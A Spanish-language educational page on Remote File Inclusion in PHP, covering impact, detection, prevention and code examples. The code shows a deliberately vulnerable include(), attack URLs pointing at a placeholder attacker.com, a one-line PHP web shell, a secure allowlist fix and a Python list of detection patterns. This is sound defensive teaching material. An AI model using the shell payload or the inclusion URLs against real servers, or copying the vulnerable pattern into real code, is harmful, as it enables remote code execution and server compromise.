Inclusión de Archivos Remotos (RFI)

Cómo Funciona Inclusión de Archivos Remotos (RFI)

RFI explota las mismas funciones de inclusión de archivos que LFI (include(), require() de PHP, etc.) pero en lugar de navegar a archivos locales, el atacante proporciona una URL a un archivo alojado en su propio servidor. Cuando la aplicación procesa la inclusión, obtiene el archivo remoto y ejecuta su contenido como código del lado del servidor. Esto hace de RFI una de las vulnerabilidades web más peligrosas porque proporciona ejecución remota de código directa e inmediata con mínima complejidad. El prerequisito principal en PHP es allow_url_include=On, que está deshabilitado por defecto desde PHP 5.2 pero aún se encuentra habilitado en aplicaciones heredadas, servidores mal configurados y ciertos plugins de CMS que lo requieren.

Ejemplos Reales

Impacto y Evaluación de Riesgo

La Inclusión de Archivos Remotos está entre las vulnerabilidades web más severas porque proporciona ejecución remota de código inmediata y directa con mínima complejidad de explotación. El atacante no necesita subir archivos, encadenar vulnerabilidades ni realizar inyección compleja — simplemente apunta a la aplicación hacia su archivo malicioso. El impacto es equivalente al compromiso total del servidor: el atacante puede ejecutar comandos arbitrarios, acceder a todos los datos del servidor, modificar o eliminar archivos, instalar backdoors persistentes, pivotar a redes internas y usar el servidor comprometido como infraestructura para ataques adicionales. RFI ha sido usado para construir botnets de millones de servidores web comprometidos, desplegar ransomware a través de entornos de hosting y establecer puntos de apoyo persistentes en redes empresariales. La severidad se magnifica porque las aplicaciones vulnerables frecuentemente tienen credenciales de base de datos, claves API y acceso a servicios internos que el atacante puede aprovechar para movimiento lateral.

Cómo Detectar Inclusión de Archivos Remotos (RFI)

Monitorear parámetros de solicitudes en busca de URLs apuntando a dominios externos: buscar http://, https://, ftp:// y URLs relativas al protocolo (//) en parámetros que normalmente se usan para selección de páginas o carga de plantillas. Las reglas del WAF deben detectar patrones de URL en parámetros de inclusión de archivos, incluyendo variantes codificadas (%68%74%74%70 para 'http'). Monitorear conexiones salientes desde el servidor web — un servidor web obteniendo contenido de URLs externas desconocidas es un indicador fuerte de explotación RFI. Analizar logs del servidor en busca de inclusión de recursos remotos sospechosos. Desplegar registro a nivel de aplicación que registre todas las operaciones de include/require y marque cualquiera que resuelva a URLs en lugar de rutas locales. El monitoreo a nivel de red debe alertar sobre procesos del servidor web realizando solicitudes HTTP salientes a destinos desconocidos, ya que este es un comportamiento atípico para servidores que solo deberían responder a solicitudes entrantes.

Cómo Prevenir Inclusión de Archivos Remotos (RFI)

Deshabilitar allow_url_include en la configuración de PHP (php.ini) — esta es la prevención más efectiva para RFI basado en PHP y está deshabilitada por defecto en versiones modernas de PHP. Deshabilitar allow_url_fopen si el acceso a URLs remotas no es necesario para la aplicación. Implementar validación estricta de entrada usando una lista de permitidos de nombres de página/plantilla autorizados mapeados a archivos locales mediante una tabla de búsqueda — nunca usar la entrada del usuario como parte de una ruta de archivo o URL. Si la inclusión dinámica de archivos es necesaria, validar que la ruta resuelta sea un archivo local dentro del directorio esperado. Desplegar Content Security Policy y filtrado de salida a nivel de red para restringir la capacidad del servidor web de obtener recursos externos. Usar un WAF con reglas específicas de RFI que detecten inyección de URLs en parámetros. Mantener todas las plataformas CMS, plugins y frameworks actualizados — las vulnerabilidades RFI en plugins populares de CMS están entre las más activamente explotadas en internet. En entornos contenedorizados, restringir el acceso de red saliente desde los contenedores de aplicación a solo los destinos explícitamente requeridos.

Ejemplos de Código

<?php
// VULNERABLE: User input directly used in include()
$page = $_GET['page'];
include($page . '.php');

// Normal use: ?page=home → includes home.php
// RFI attack: ?page=http://attacker.com/shell.txt?
// The trailing '?' makes '.php' a query parameter, ignored by the remote server
// The remote file contains: <?php system($_GET['cmd']); ?>
// Now the attacker can execute: ?page=http://attacker.com/shell.txt?&cmd=whoami

// Another vulnerable pattern:
$template = $_GET['template'];
include("templates/" . $template);
// RFI: ?template=http://attacker.com/shell.php
?>

<?php
// php.ini hardening (set these directives):
// allow_url_include = Off   (blocks RFI entirely)
// allow_url_fopen = Off     (blocks remote URL file operations)
// open_basedir = /var/www/  (restricts file access)

// SECURE: Allowlist-based page loading
$page_map = [
    'home'     => 'pages/home.php',
    'about'    => 'pages/about.php',
    'contact'  => 'pages/contact.php',
    'products' => 'pages/products.php',
    'pricing'  => 'pages/pricing.php',
];

$requested = $_GET['page'] ?? 'home';

// Only alphanumeric input allowed
if (!preg_match('/^[a-z0-9_-]+$/i', $requested)) {
    http_response_code(400);
    die('Invalid page parameter');
}

// Strict allowlist lookup
if (!isset($page_map[$requested])) {
    http_response_code(404);
    include('pages/404.php');
    exit;
}

// Include only from the pre-defined map
include($page_map[$requested]);
?>

import re
import urllib.parse

RFI_PATTERNS = [
    # Direct URL protocols
    r'https?:\/\/',
    r'ftp:\/\/',
    r'ftps:\/\/',
    # Protocol-relative URLs
    r'^\/\/',
    # Encoded protocols
    r'%68%74%74%70',           # http
    r'%48%54%54%50',           # HTTP
    r'%66%74%70',              # ftp
    # Data URI (potential code execution)
    r'data:\/\/',
    r'data:text\/plain',
    r'data:text\/html',
    # PHP expect wrapper (command execution)
    r'expect:\/\/',
    # IP-based URLs (bypass domain filtering)
    r'https?:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
    r'https?:\/\/0x[0-9a-fA-F]+',   # Hex IP
    r'https?:\/\/\d{8,10}',         # Decimal IP
]

def detect_rfi(params, file_params=None):
    """Detect RFI attempts in request parameters.
    
    Args:
        params: dict of request parameters
        file_params: optional list of parameter names known to handle files
                     (e.g., ['page', 'template', 'module', 'lang'])
    """
    # Check all params, or only file-related ones
    check_params = file_params or params.keys()
    compiled = [re.compile(p, re.IGNORECASE) for p in RFI_PATTERNS]
    
    for param_name in check_params:
        if param_name not in params:
            continue
        
        raw_value = params[param_name]
        # Decode multiple levels of URL encoding
        decoded = raw_value
        for _ in range(3):  # Up to triple encoding
            decoded = urllib.parse.unquote(decoded)
        
        for pattern in compiled:
            if pattern.search(decoded):
                return {
                    'detected': True,
                    'type': 'rfi',
                    'parameter': param_name,
                    'raw_value': raw_value,
                    'decoded_value': decoded,
                    'matched_pattern': pattern.pattern
                }
    
    return {'detected': False}

Preguntas Frecuentes

Ataques Relacionados